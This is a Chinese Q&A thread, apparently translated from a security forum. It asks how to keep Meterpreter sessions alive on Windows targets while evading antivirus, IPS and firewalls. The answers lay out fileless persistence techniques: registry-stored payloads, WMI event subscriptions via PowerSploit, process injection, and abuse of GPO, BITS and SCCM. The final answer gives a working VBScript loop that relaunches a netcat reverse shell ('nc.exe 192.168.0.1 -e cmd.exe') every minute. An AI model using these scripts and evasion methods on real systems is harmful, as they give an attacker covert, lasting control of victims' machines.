Metasploit Meterpreter 持久性脚本替代方案

信息安全 渗透测试 开发 杀毒软件 元数据
2021-08-21 20:35:54

这些天我正在测试各种类型的客户端黑客技术,并且在所有场景中我都将Meterpreter/reverse_tcp其用作有效负载。现在我可以轻松绕过防病毒和防火墙,但是当我运行持久性模块时,防病毒和 IPS 总是会检测到用于持久性的 Meterpreter 有效负载,并且它们会删除该文件,这与meterpreter bypass_UAC 脚本也有同样的问题。

如您所知,由于互联网连接断开或重新启动系统等各种原因,meterpreter 会话总是很容易死掉。

有没有比 Meterpreter 持久性脚本更好的方法可以持久化我的会话并绕过防病毒和防火墙?

有没有什么方法可以让meterpreter持久性脚本使用我自己制作的有效负载,而不是metasploit自动生成的有效负载,很容易被防病毒软件咳出来?

3个回答

Justin Warner在他的博客上提供了一个论点,在继续讨论持久性之前总结一下很重要:

是否需要重启持久性

我认为后门不必重新启动持久。就其本质而言,后门只是一种访问某些目标资源的方法。后门通常有一个持久性组件,但我会说这是一个最好留给你想要完成的上下文和场景的决定。在非常简单的网络场景或网络防御者很少关注的渗透测试中,普通的持久性可能是适用且有用的。在这种情况下,诸如运行键、服务可执行文件或 App Init DLL 之类的东西非常方便。

在更复杂或更严苛的网络环境中,我经常尝试仅运行 95% 的内存,并且只在看似关键地形的区域重新启动持久性。这可能比必要的更偏执,但通过这样做,我有助于避免基于主机的 IDS 出现问题并防止在主机上留下工件。在我选择进行重启持久性的地方,我更喜欢不使用磁盘上文件的方法,例如有效负载的注册表存储。

让我们以 Kovter 恶意软件等现实世界的攻击为例,说明 2016 年可能出现的交易技巧 -- https://blog.malwarebytes.com/threat-analysis/2016/07/untangling-kovter/

多亏了 Kovter 采用的技术,不需要将可执行文件放到磁盘上——这就是为什么所谓的“无文件”[...] 分散在几个层中,但在每个阶段都被混淆并包含减慢分析速度的技巧过程

Kovter 结合使用持久性注册表项和 PowerShell(其他人经常使用或建议使用远程注册表、PS Remoting 和/或 WMI 事件消费者)来执行这种无文件持久性。一些博客详细讨论了基于这些、服务、自动运行等的自动启动持久性位置

在 Meterpreter 中,可以通过 PowerShell 的PowerPick 和 ReflectivePick技术访问无文件技术(如本答案顶部 Justin Warner 的博客文章所述),这些技术不需要执行(或可见进程列表)任何 powershell.exe。Darkoperator 涵盖了powershell 扩展和使用powershell_import命令拉入 PowerShell 管道的能力。然后可以使用 PowerSploit 持久性功能,但这些功能可能并不总是明确定义的。当然,可以使用 PowerShellEmpire 代理来代替meterpreter,来提供persistence/elevated/wmi模块。我的建议,可能会直接解决您的问题,只是来源Persistence.psm1powershell_import在meterpreter中通过while执行WMI永久事件订阅。这将提供您需要的 AV、IPS 和防火墙/UTM 绕过——但如果响应者搜索这一技术的多个实例,则可能很容易清理。

这让我想到了贾斯汀华纳提到的下一个谈话片段。您想要在网络中持久化的每台机器都应该有不同的持久性技术(有些可能根本没有策略——例如,正常运行时间长的服务器可能会在内存中驻留数月甚至数年的后门)。通常,您可以针对目标使用系统管理基础架构——可以说,利用它作恶而不是善。有多种方法可以控制COM处理程序、WSUSAD GPOBITSadminDSCSCCM以及许多其他包和功能来保持持久性。

此外——系统持久性可能与可靠传输完全不同。我强烈建议您查看 Meterpreter 文档:

  1. https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Reliable-Network-Communication
  2. https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Transport-Control

您必须了解transport架构才能保持可靠的网络连接。但是,确保上述未涵盖的网络可靠性的最佳方法之一是transportMetasploit AutoRunScript结合使用——例如在另一个答案中涵盖的内容,以使AutoRunScript 在 Meterpreter 的上下文中工作mubix在 Hak5 的 metasploit 分钟中更详细地介绍了传输

我想你是在谈论 Windows 作为目标系统。在这种情况下,对于大多数现代 Windows 操作系统,您应该考虑使用 powershell 并将meterpreter 有效负载注入正在运行的进程中。这通常会绕过防病毒软件。powersploit 框架中有很多有用的脚本。查看此博客,了解您在实践中必须做的几个示例。

除非您从事一些核心危险的工作,否则可能会参考 atdre 的答案。但是您只需每次从 ncat 重新启动meterpreter,仅此而已。

在 vbs 中使用 ncat / netcat 持久性:

Dim ncShell
Set ncShell = WScript.CreateObject("WScript.shell")

Do while True:
    ncShell.Run "powershell.exe C:\windows\nc.exe 192.168.0.1 -e cmd.exe", 0, true
    WScript.Sleep(60000)
Loop